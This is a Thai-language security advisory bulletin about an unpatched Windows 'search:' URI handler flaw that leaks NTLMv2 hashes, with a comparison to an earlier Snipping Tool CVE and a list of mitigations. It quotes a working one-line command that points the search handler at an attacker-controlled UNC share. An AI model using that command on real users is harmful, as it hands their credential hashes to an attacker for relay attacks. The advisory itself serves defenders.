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วันท่ี 8 มิถุนายน 2569 
 

พบช่องโหว่ใน Windows Search URI ท่ียังไม่มีแพตช์ เปิดทางให้ผู้โจมตีขโมย NTLMv2 Hash 
 

 
 

นักวิจัยด้านความปลอดภัยไซเบอร์เปิดเผยรายละเอียดของช่องโหว่ท่ียังไม่ได้รับการแก้ไข ซ่ึงอาจถูกนำไปใช้เพ่ือเปิดเผยค่า 

NTLMv2 Hash ของผู้ใช้งานให้ตกไปอยู่ในมือของผู้โจมตีได้ เช่นเดียวกับกรณีของ CVE-2026-33829ท่ีส่งผลกระทบต่อ URI 
Handler ของ Windows Snipping Tool ท่ีใช้โปรโตคอล "ms-screensketch:" ช่องโหว่ท่ีเพ่ิงถูกเปิดเผยล่าสุดนี้ พบอ ยู่ใน 

URI Handler ท่ีใช้โปรโตคอล "search:" ตามการเปิดเผยของHuntress 

การเปรียบเทียบกับช่องโหว่ CVE-2026-33829 

CVE-2026-33829 เป็นช่องโหว่ประเภท Spoofing ท่ีอาจเปิดเผยข้อมูลสำคัญให้กับผู้ท่ีไม่ได้รับอนุญาต โดย Microsoft ไ ด้
ออกแพตช์แก้ไขไปแล้วเมื่อเดือนเมษายน 2026 Microsoft ระบุไว้ในประกาศด้านความปลอดภัยในขณะนั้นว่ า ผู้โจมตี
สามารถหลอกล่อให้ผู้ใช้งานคลิกลิงก์ท่ีถูกสร้างข้ึนเป็นพิเศษผ่านเว็บเบราว์เซอร์หรือแหล่งท่ีมาของURL อ่ืนๆ ได้ โดยฝัง ลิง ก์

ดังกล่าวไว้ในหน้าเว็บไซต์หรือข้อความอีเมล หากผู้ใช้งานอนุญาตให้เปิดลิงก์ดังกล่าวURL ท่ีถูกสร้างข้ึนมาเป็นพิเศษจะทำให้
คอมพิวเตอร์เช่ือมต่อไปยังเซิร์ฟเวอร์SMB ท่ีผู้โจมตีเป็นผู้กำหนด ซ่ึงจะส่งผลให้ค่า NTLMv2 Hash ของผู้ใช้งานถูกเปิดเผย 

และผู้โจมตีอาจนำข้อมูลดังกล่าวไปใช้เ พ่ือยืนยันตัวตนในนามของผู้ใช้งานได้ ปัญหาดังกล่าวเกิดจาก URI Handler ของ 
Snipping Tool ท่ียอมรับพารามิเตอร์ช่ือ "filePath" โดยไม่มีการตรวจสอบความถูกต้องอย่างเพียงพอ และจะพยายามเข้าถึง
ทุกเส้นทางแบบ Universal Naming Convention (UNC) ท่ีถูกส่งเข้ามา ผลท่ีตามมาคือ ระบบอาจเร่ิมกระบวนการยืนยัน

ตัวตนด้วย NTLMและเปิดเผยค่า Net-NTLMv2 Hash ของเหย่ือให้แก่ผู้โจมตี 



 

 

ศูนย์ CSOC – Cyber Elite 
Cyber Security Operation Center – Cyber Elite 

 

2 CYBER INTELLIGENT NEWS - WWW.CYBERELITE.CO.TH 

กลไกการโจมตีและการขยายสิทธิ์ 

ช่องโหว่ท่ีเพ่ิงถูกค้นพบใหม่นี้สามารถบรรลุผลลัพธ์เดียวกันได้ โดยใช้ "search:" และ "crumb=location:" แทน "filePath" 
ผ่านคำส่ังในลักษณะดังต่อไปนี้start "" "search:query=test&crumb=location:\10.0.1.100\share" "ช่องโหว่นี้ใช้กลไกการ

ร่ัวไหลของ NTLM แบบเดียวกัน ทำให้เกิดการร่ัวไหลของค่า Net-NTLMv2 ในลักษณะเดียวกัน มีเงื่อนไขการโจมตีเหมือนกัน 
และได้รับการจัดระดับความรุนแรงไว้ท่ีระดับ Moderateเช่นเดียวกัน" Andrew Schwartz นักวิจัยจากHuntress กล่าว ท้ังนี้ 

การใช้พารามิเตอร์ "crumb" เพื ่อขโมยค่า Hash ดังกล่าว (CVE-2023-35636)เคยถูกเปิดเผยโดย Varonis ตั ้งแต่เดอืน
กุมภาพันธ์2024 แล้ว ผลจากช่องโหว่นี้ ผู้โจมตีอาจนำค่า Hash ท่ีดักจับได้ไปใช้ในการโจมตีแบบ Relay Attack เพ่ือขยาย
สิทธ์ิการเข้าถึงและเจาะลึกเข้าไปภายในเครือข่ายขององค์กรได้มากข้ึน 

การตอบสนองจาก Microsoft และมาตรการลดความเสี่ยง 

หลังจากมีการแจ้งช่องโหว่ต่อ Microsoft ตามแนวทาง Responsible Disclosure เมื่อวันท่ี 15เมษายน 2026 ทาง Microsoft 

ตัดสินใจไม่ดำเนินการแก้ไขช่องโหว่นี้ โดยให้เหตุผลว่า เฉพาะช่องโหว่ท่ีมีระดับความรุนแรง Important และ Critical เท่านั้น 
ท่ีอยู่ในเกณฑ์การออกอัปเดตแก้ไขของเรา  

ในระหว่างท่ียังไม่มีแพตช์แก้ไข ผู้ดูแลระบบควรดำเนินมาตรการลดความเส่ียงดังต่อไปนี้  

• ควรบล็อกการเช่ือมต่อSMB ขาออก (TCP/445 และ TCP/139)บนอุปกรณ์ท่ีไม่จำเป็นต้องใช้งาน  

• บังคับใช้งาน SMB Signing เพ่ือป้องกันไม่ให้ค่า Hash ท่ีถูกขโมยไปสามารถถูกนำไปใช้ในการโจมตีแบบ Relay กับ
บริการภายในองค์กรได้  

• ควรปิดการใช้งาน NTLM ในระบบท่ีสามารถดำเนินการได้ 
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• https://thehackernews.com/2026/06/unpatched-windows-search-uri.html 

 


